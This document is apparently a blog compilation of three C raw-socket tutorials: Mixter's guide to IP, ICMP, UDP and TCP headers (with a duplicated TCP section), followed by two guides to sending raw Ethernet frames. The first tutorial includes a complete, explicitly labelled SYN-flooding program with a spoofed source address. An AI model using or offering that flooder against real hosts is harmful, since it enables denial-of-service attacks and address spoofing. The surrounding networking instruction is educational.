To inject your own packets, all you need to know is the structures of the protocols that need to be included. Below you will find a short introduction to the IP, ICMP, TCP and UDP headers. It is recommended to build your packet by using a struct, so you can comfortably fill in the packet headers. Unix systems provide standard structures in the header files (eg.The data types/sizes we need to use are: unsigned char - 1 byte (8 bits), unsigned short int - 2 bytes (16 bits) and unsigned int - 4 bytes (32 bits)
struct ipheader {
unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */
unsigned char ip_tos;
unsigned short int ip_len;
unsigned short int ip_id;
unsigned short int ip_off;
unsigned char ip_ttl;
unsigned char ip_p;
unsigned short int ip_sum;
unsigned int ip_src;
unsigned int ip_dst;
}; /* total ip header length: 20 bytes (=160 bits) */
The Internet Protocol is the network layer protocol, used for routing the data from the source to its destination. Every datagram contains an IP header followed by a transport layer protocol such as tcp.ip_hl: the ip header length in 32bit octets. this means a value of 5 for the hl means 20 bytes (5 * 4). values other than 5 only need to be set it the ip header contains options (mostly used for routing)
ip_v: the ip version is always 4 (maybe I'll write a IPv6 tutorial later;)
ip_tos: type of service controls the priority of the packet. 0x00 is normal. the first 3 bits stand for routing priority, the next 4 bits for the type of service (delay, throughput, reliability and cost).
ip_len: total length must contain the total length of the ip datagram. this includes ip header, icmp or tcp or udp header and payload size in bytes.
ip_id: the id sequence number is mainly used for reassembly of fragmented IP datagrams. when sending single datagrams, each can have an arbitrary ID.
ip_off: the fragment offset is used for reassembly of fragmented datagrams. the first 3 bits are the fragment flags, the first one always 0, the second the do-not-fragment bit (set by ip_off |= 0x4000) and the third the more-flag or more-fragments-following bit (ip_off |= 0x2000). the following 13 bits is the fragment offset, containing the number of 8-byte big packets already sent.
ip_ttl: time to live is the amount of hops (routers to pass) before the packet is discarded, and an icmp error message is returned. the maximum is 255.
ip_p: the transport layer protocol. can be tcp (6), udp(17), icmp(1), or whatever protocol follows the ip header. look in /etc/protocols for more.
ip_sum: the datagram checksum for the whole ip datagram. every time anything in the datagram changes, it needs to be recalculated, or the packet will be discarded by the next router. see V. for a checksum function.
ip_src and ip_dst: source and destination IP address, converted to long format, e.g. by inet_addr(). both can be chosen arbitrarily.
IP itself has no mechanism for establishing and maintaining a connection, or even containing data as a direct payload. Internet Control Messaging Protocol is merely an addition to IP to carry error, routing and control messages and data, and is often considered as a protocol of the network layer.
struct icmpheader {
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short int icmp_cksum;
/* The following data structures are ICMP type specific */
unsigned short int icmp_id;
unsigned short int icmp_seq;
}; /* total icmp header length: 8 bytes (=64 bits) */
icmp_type: the message type, for example 0 - echo reply, 8 - echo request, 3 - destination unreachable. look in icmp_code: this is significant when sending an error message (unreach), and specifies the kind of error. again, consult the include file for more.
icmp_cksum: the checksum for the icmp header + data. same as the IP checksum. Note: The next 32 bits in an icmp packet can be used in many different ways. This depends on the icmp type and code. the most commonly seen structure, an ID and sequence number, is used in echo requests and replies, hence we only use this one, but keep in mind that the header is actually more complex.
icmp_id: used in echo request/reply messages, to identify the request
icmp_seq: identifies the sequence of echo messages, if more than one is sent.
The User Datagram Protocol is a transport protocol for sessions that need to exchange data. Both transport protocols, UDP and TCP provide 65535 different source and destination ports. The destination port is used to connect to a specific service on that port. Unlike TCP, UDP is not reliable, since it doesn't use sequence numbers and stateful connections. This means UDP datagrams can be spoofed, and might not be reliable (e.g. they can be lost unnoticed), since they are not acknowledged using replies and sequence numbers.
struct udpheader {
unsigned short int uh_sport;
unsigned short int uh_dport;
unsigned short int uh_len;
unsigned short int uh_check;
}; /* total udp header length: 8 bytes (=64 bits) */
uh_sport: The source port that a client bind()s to, and the contacted server will reply back to in order to direct his responses to the client.uh_dport: The destination port that a specific server can be contacted on.
uh_len: The length of udp header and payload data in bytes.
uh_check: The checksum of header and data, see IP checksum.
The Transmission Control Protocol is the mostly used transport protocol that provides mechanisms to establish a reliable connection with some basic authentication, using connection states and sequence numbers. (See IV. Basic transport layer operations.)
struct tcpheader {
unsigned short int th_sport;
unsigned short int th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_x2:4, th_off:4;
unsigned char th_flags;
unsigned short int th_win;
unsigned short int th_sum;
unsigned short int th_urp;
}; /* total tcp header length: 20 bytes (=160 bits) */
th_sport: The source port, which has the same function as in UDP.
th_dport: The destination port, which has the same function as in UDP.
th_seq: The sequence number is used to enumerate the TCP segments. The data in a TCP connection can be contained in any amount of segments (=single tcp datagrams), which will be put in order and acknowledged. For example, if you send 3 segments, each containing 32 bytes of data, the first sequence would be (N+)1, the second one (N+)33 and the third one (N+)65. "N+" because the initial sequence is random.
th_ack: Every packet that is sent and a valid part of a connection is acknowledged with an empty TCP segment with the ACK flag set (see below), and the th_ack field containing the previous the_seq number.
th_x2: This is unused and contains binary zeroes.
th_off: The segment offset specifies the length of the TCP header in 32bit/4byte blocks. Without tcp header options, the value is 5.
th_flags: This field consists of six binary flags. Using bsd headers, they can be combined like this: th_flags = FLAG1 | FLAG2 | FLAG3...
TH_URG: Urgent. Segment will be routed faster, used for termination of a connection or to stop processes (using telnet protocol).
TH_ACK: Acknowledgement. Used to acknowledge data and in the second and third stage of a TCP connection initiation (see IV.).
TH_PSH: Push. The systems IP stack will not buffer the segment and forward it to the application immediately (mostly used with telnet).
TH_RST: Reset. Tells the peer that the connection has been terminated.
TH_SYN: Synchronization. A segment with the SYN flag set indicates that client wants to initiate a new connection to the destination port.
TH_FIN: Final. The connection should be closed, the peer is supposed to answer with one last segment with the FIN flag set as well.
th_win: Window. The amount of bytes that can be sent before the data should be acknowledged with an ACK before sending more segments.
th_sum: The checksum of pseudo header, tcp header and payload. The pseudo is a structure containing IP source and destination address, 1 byte set to zero, the protocol (1 byte with a decimal value of 6), and 2 bytes (unsigned short) containing the total length of the tcp segment.
th_urp: Urgent pointer. Only used if the urgent flag is set, else zero. It points to the end of the payload data that should be sent with priority.
th_dport: The destination port, which has the same function as in UDP.
th_seq: The sequence number is used to enumerate the TCP segments. The data in a TCP connection can be contained in any amount of segments (=single tcp datagrams), which will be put in order and acknowledged. For example, if you send 3 segments, each containing 32 bytes of data, the first sequence would be (N+)1, the second one (N+)33 and the third one (N+)65. "N+" because the initial sequence is random.
th_ack: Every packet that is sent and a valid part of a connection is acknowledged with an empty TCP segment with the ACK flag set (see below), and the th_ack field containing the previous the_seq number.
th_x2: This is unused and contains binary zeroes.
th_off: The segment offset specifies the length of the TCP header in 32bit/4byte blocks. Without tcp header options, the value is 5.
th_flags: This field consists of six binary flags. Using bsd headers, they can be combined like this: th_flags = FLAG1 | FLAG2 | FLAG3...
TH_URG: Urgent. Segment will be routed faster, used for termination of a connection or to stop processes (using telnet protocol).
TH_ACK: Acknowledgement. Used to acknowledge data and in the second and third stage of a TCP connection initiation (see IV.).
TH_PSH: Push. The systems IP stack will not buffer the segment and forward it to the application immediately (mostly used with telnet).
TH_RST: Reset. Tells the peer that the connection has been terminated.
TH_SYN: Synchronization. A segment with the SYN flag set indicates that client wants to initiate a new connection to the destination port.
TH_FIN: Final. The connection should be closed, the peer is supposed to answer with one last segment with the FIN flag set as well.
th_win: Window. The amount of bytes that can be sent before the data should be acknowledged with an ACK before sending more segments.
th_sum: The checksum of pseudo header, tcp header and payload. The pseudo is a structure containing IP source and destination address, 1 byte set to zero, the protocol (1 byte with a decimal value of 6), and 2 bytes (unsigned short) containing the total length of the tcp segment.
th_urp: Urgent pointer. Only used if the urgent flag is set, else zero. It points to the end of the payload data that should be sent with priority.
III. Building and injecting datagrams
Now, by putting together the knowledge about the protocol header structures with some basic C functions, it is easy to construct and send any datagram(s). We will demonstrate this with a small sample program that constantly sends out SYN requests to one host (Syn flooder).#define __USE_BSD /* use bsd'ish ip header */ #include/* these headers are for a Linux system, but */ #include /* the names on other systems are easy to guess.. */ #include #define __FAVOR_BSD /* use bsd'ish tcp header */ #include #include #define P 25 /* lets flood the sendmail port */ unsigned short /* this function generates header checksums */ csum (unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } int main (void) { int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); /* open raw socket */ char datagram[4096]; /* this buffer will contain ip header, tcp header, and payload. we'll point an ip header structure at its beginning, and a tcp header structure after that to write the header values into it */ struct ip *iph = (struct ip *) datagram; struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip); struct sockaddr_in sin; /* the sockaddr_in containing the dest. address is used in sendto() to determine the datagrams path */ sin.sin_family = AF_INET; sin.sin_port = htons (P);/* you byte-order >1byte header values to network byte order (not needed on big endian machines) */ sin.sin_addr.s_addr = inet_addr ("127.0.0.1"); memset (datagram, 0, 4096); /* zero out the buffer */ /* we'll now fill in the ip/tcp header values, see above for explanations */ iph->ip_hl = 5; iph->ip_v = 4; iph->ip_tos = 0; iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr); /* no payload */ iph->ip_id = htonl (54321); /* the value doesn't matter here */ iph->ip_off = 0; iph->ip_ttl = 255; iph->ip_p = 6; iph->ip_sum = 0; /* set it to 0 before computing the actual checksum later */ iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */ iph->ip_dst.s_addr = sin.sin_addr.s_addr; tcph->th_sport = htons (1234); /* arbitrary port */ tcph->th_dport = htons (P); tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */ tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */ tcph->th_x2 = 0; tcph->th_off = 0; /* first and only tcp segment */ tcph->th_flags = TH_SYN; /* initial connection request */ tcph->th_win = htonl (65535); /* maximum allowed window size */ tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack should fill in the correct checksum during transmission */ tcph->th_urp = 0; iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1); /* finally, it is very advisable to do a IP_HDRINCL call, to make sure that the kernel knows the header is included in the data, and doesn't insert its own header into the packet before our data */ { /* lets do it the ugly way.. */ int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) printf ("Warning: Cannot set HDRINCL!\n"); }while (1) { if (sendto (s, /* our socket */ datagram, /* the buffer containing headers and data */ iph->ip_len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof (sin)) < 0) /* a normal send() */ printf ("error\n"); else printf ("."); } return 0; }
IV. Basic transport layer operations
To make use of raw packets, knowledge of the basic IP stack operations is essential. I'll try to give a brief introduction into the most important operations in the IP stack. To learn more about the behavior of the protocols, one option is to exame the source for your systems IP stack, which, in Linux, is located in the directory /usr/src/linux/net/ipv4/. The most important protocol, of course, is TCP, on which I will focus on.Connection initiation: to contact an udp or tcp server listening on port 1234, the client calls a connect() with the sockaddr structure containing destination address and port. If the client did not bind() to a source port, the systems IP stack will select one it'll bind to. By connect()ing, the host sends a datagram containing the following information: IP src: client address, IP dest: servers address, TCP/UDP src: clients source port, TCP/UDP dest: port 1234. If a client is located on port 1234 on the destination host, it will reply back with a datagram containing: IP src: server IP dst: client srcport: server port dstport: clients source port. If there is no server located on the host, an ICMP type unreach message is created, subcode "Connection refused". The client will then terminate. If the destination host is down, either a router will create a different ICMP unreach message, or the client gets no reply and the connection times out.
TCP initiation ("3-way handshake") and connection: The client will do a connection initiation, with the tcp SYN flag set, an arbitrary sequence number, and no acknowledgement number. The server acknowledges the SYN by sending a packet with SYN and ACK set, another random sequence number and the acknowledgement number the original sequence. Finally, the client replies back with a tcp datagram with the ACK flag set, and the server's ack sequence incremented by one. Once the connection is established, each tcp segment will be sent with no flags (PSH and URG are optional), the sequence number for each packet incremented by the size of the previous tcp segment. After the amount of data specified as "window size" has been transferred, the peer sending data will wait for an acknowledgement, a tcp segment with the ACK flag set and the ack sequence number the one of the last data packet that could be received in order. That way, if any segments get lost, they will not be acknowledged and can be retransmitted. To end a connection, both server and client send a tcp packet with correct sequence numbers and the FIN flag set, and if the connection ever de-synchronizes (aborted, desynchronized, bad sequence numbers, etc.) the peer that notices the error will send a RST packet with correct seq numbers to terminate the connection.
- Mixter
Sending raw Ethernet packets from a specific interface in C on Linux
출처 : http://austinmarton.wordpress.com/2011/09/14/sending-raw-ethernet-packets-from-a-specific-interface-in-c-on-linux/
Sending raw Ethernet packets from a specific interface in C on Linux
Lately I’ve been writing some code to send packets to a specific MAC address from a specific interface. I’m sure this will come in handy again so here is how it goes:
Includes:
(might not need all of these)
(might not need all of these)
#include <netinet/in.h> #include <sys/socket.h> #include <arpa/inet.h> #include <net/if.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netinet/ether.h> #include <linux/if_packet.h>
Open the raw socket:
int sockfd;
...
/* Open RAW socket to send on */
if ((sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW)) == -1) {
perror("socket");
}
Get the index of the interface to send on:
struct ifreq if_idx;
...
memset(&if_idx, 0, sizeof(struct ifreq));
strncpy(if_idx.ifr_name, "eth0", IFNAMSIZ-1);
if (ioctl(sock, SIOCGIFINDEX, &if_idx) < 0)
perror("SIOCGIFINDEX");
Get the MAC address of the interface to send on:
struct ifreq if_mac;
...
memset(&if_mac, 0, sizeof(struct ifreq));
strncpy(if_mac.ifr_name, "eth0", IFNAMSIZ-1);
if (ioctl(sock, SIOCGIFHWADDR, &if_mac) < 0)
perror("SIOCGIFHWADDR");
Get the IP address of the interface to send on:
struct ifreq if_ip;
...
memset(&if_ip, 0, sizeof(struct ifreq));
strncpy(if_ip.ifr_name, "eth0", IFNAMSIZ-1);
if (ioctl(sock, SIOCGIFADDR, &if_ip) < 0)
perror("SIOCGIFADDR");
Construct the Ethernet header:
int tx_len = 0; char sendbuf[1024]; struct ether_header *eh = (struct ether_header *) sendbuf; ... memset(sendbuf, 0, 1024); /* Ethernet header */ eh->ether_shost[0] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[0]; eh->ether_shost[1] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[1]; eh->ether_shost[2] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[2]; eh->ether_shost[3] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[3]; eh->ether_shost[4] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[4]; eh->ether_shost[5] = ((uint8_t *)&if_mac.ifr_hwaddr.sa_data)[5]; eh->ether_dhost[0] = MY_DEST_MAC0; eh->ether_dhost[1] = MY_DEST_MAC1; eh->ether_dhost[2] = MY_DEST_MAC2; eh->ether_dhost[3] = MY_DEST_MAC3; eh->ether_dhost[4] = MY_DEST_MAC4; eh->ether_dhost[5] = MY_DEST_MAC5; eh->ether_type = htons(ETH_P_IP); tx_len += sizeof(struct ether_header);
Construct the IP header:
struct iphdr *iph = (struct iphdr *) (sendbuf + sizeof(struct ether_header));
...
/* IP Header */
iph->ihl = 5;
iph->version = 4;
iph->tos = 16; // Low delay
iph->id = htons(54321);
iph->ttl = ttl; // hops
iph->protocol = 17; // UDP
/* Source IP address, can be spoofed */
iph->saddr = inet_addr(inet_ntoa(((struct sockaddr_in *)&if_ip.ifr_addr)->sin_addr));
// iph->saddr = inet_addr("192.168.0.112");
/* Destination IP address */
iph->daddr = inet_addr("192.168.0.111");
tx_len += sizeof(struct iphdr);
Construct the UDP header:
struct udphdr *udph = (struct udphdr *) (sendbuf + sizeof(struct iphdr) + sizeof(struct ether_header)); ... /* UDP Header */ udph->source = htons(3423); udph->dest = htons(5342); udph->check = 0; // skip tx_len += sizeof(struct udphdr);
Fill in UDP payload:
/* Packet data */ sendbuf[tx_len++] = 0xde; sendbuf[tx_len++] = 0xad; sendbuf[tx_len++] = 0xbe; sendbuf[tx_len++] = 0xef;
Fill in remaining header info:
unsigned short csum(unsigned short *buf, int nwords)
{
unsigned long sum;
for(sum=0; nwords>0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum &0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
...
/* Length of UDP payload and header */
udph->len = htons(tx_len - sizeof(struct ether_header) - sizeof(struct iphdr));
/* Length of IP payload and header */
iph->tot_len = htons(tx_len - sizeof(struct ether_header));
/* Calculate IP checksum on completed header */
iph->check = csum((unsigned short *)(sendbuf+sizeof(struct ether_header)), sizeof(struct iphdr)/2);
Send the raw Ethernet packet:
/* Destination address */
struct sockaddr_ll socket_address;
...
/* Index of the network device */
socket_address.sll_ifindex = if_idx.ifr_ifindex;
/* Address length*/
socket_address.sll_halen = ETH_ALEN;
/* Destination MAC */
socket_address.sll_addr[0] = MY_DEST_MAC0;
socket_address.sll_addr[1] = MY_DEST_MAC1;
socket_address.sll_addr[2] = MY_DEST_MAC2;
socket_address.sll_addr[3] = MY_DEST_MAC3;
socket_address.sll_addr[4] = MY_DEST_MAC4;
socket_address.sll_addr[5] = MY_DEST_MAC5;
/* Send packet */
if (sendto(sock, sendbuf, tx_len, 0, (struct sockaddr*)&socket_address, sizeof(struct sockaddr_ll)) < 0)
printf("Send failed\n");
References:
http://aschauf.landshut.org/fh/linux/udp_vs_raw/ch01s03.html
http://www.tenouk.com/Module43a.html
http://linux.die.net/man/3/sendto
http://aschauf.landshut.org/fh/linux/udp_vs_raw/ch01s03.html
http://www.tenouk.com/Module43a.html
http://linux.die.net/man/3/sendto
RAW ethernet
출처 : http://aschauf.landshut.org/fh/linux/udp_vs_raw/ch01s03.html#id2766267
RAW ethernet
Now let us look at RAW ethernet communication. From the programmers' point of view it is quite similar to UDP. The differences are:
- the parameters for the function used to create a socket
- instead of IP addresses MAC addresses are used
- an ethernet frame needs to be created manually
Example 1.4. Create a RAW ethernet socket
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
...
int s; /*socketdescriptor*/
s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s == -1) { errorhandling ... }
Example 1.5. Send a RAW ethernet frame
#define ETH_FRAME_LEN 1518
...
/*target address*/
struct sockaddr_ll socket_address;
/*buffer for ethernet frame*/
void* buffer = (void*)malloc(ETH_FRAME_LEN);
/*pointer to ethenet header*/
unsigned char* etherhead = buffer;
/*userdata in ethernet frame*/
unsigned char* data = buffer + 14;
/*another pointer to ethernet header*/
struct ethhdr *eh = (struct ethhdr *)etherhead;
int send_result = 0;
/*our MAC address*/
unsigned char src_mac[6] = {0x00, 0x01, 0x02, 0xFA, 0x70, 0xAA};
/*other host MAC address*/
unsigned char dest_mac[6] = {0x00, 0x04, 0x75, 0xC8, 0x28, 0xE5};
/*prepare sockaddr_ll*/
/*RAW communication*/
socket_address.sll_family = PF_PACKET;
/*we don't use a protocoll above ethernet layer
->just use anything here*/
socket_address.sll_protocol = htons(ETH_P_IP);
/*index of the network device
see full code later how to retrieve it*/
socket_address.sll_ifindex = 2;
/*ARP hardware identifier is ethernet*/
socket_address.sll_hatype = ARPHRD_ETHER;
/*target is another host*/
socket_address.sll_pkttype = PACKET_OTHERHOST;
/*address length*/
socket_address.sll_halen = ETH_ALEN;
/*MAC - begin*/
socket_address.sll_addr[0] = 0x00;
socket_address.sll_addr[1] = 0x04;
socket_address.sll_addr[2] = 0x75;
socket_address.sll_addr[3] = 0xC8;
socket_address.sll_addr[4] = 0x28;
socket_address.sll_addr[5] = 0xE5;
/*MAC - end*/
socket_address.sll_addr[6] = 0x00;/*not used*/
socket_address.sll_addr[7] = 0x00;/*not used*/
/*set the frame header*/
memcpy((void*)buffer, (void*)dest_mac, ETH_ALEN);
memcpy((void*)(buffer+ETH_ALEN), (void*)src_mac, ETH_ALEN);
eh->h_proto = 0x00;
/*fill the frame with some data*/
for (j = 0; j < 1500; j++) {
data[j] = (unsigned char)((int) (255.0*rand()/(RAND_MAX+1.0)));
}
/*send the packet*/
send_result = sendto(s, buffer, ETH_FRAME_LEN, 0,
(struct sockaddr*)&socket_address, sizeof(socket_address));
if (send_result == -1) { errorhandling... }
Example 1.6. Receive a RAW ethernet frame
void* buffer = (void*)malloc(ETH_FRAME_LEN); /*Buffer for ethernet frame*/
int length = 0; /*length of the received frame*/
...
length = recvfrom(s, buffer, ETH_FRAME_LEN, 0, NULL, NULL);
if (length == -1) { errorhandling .... }
피드 구독하기:
글 (Atom)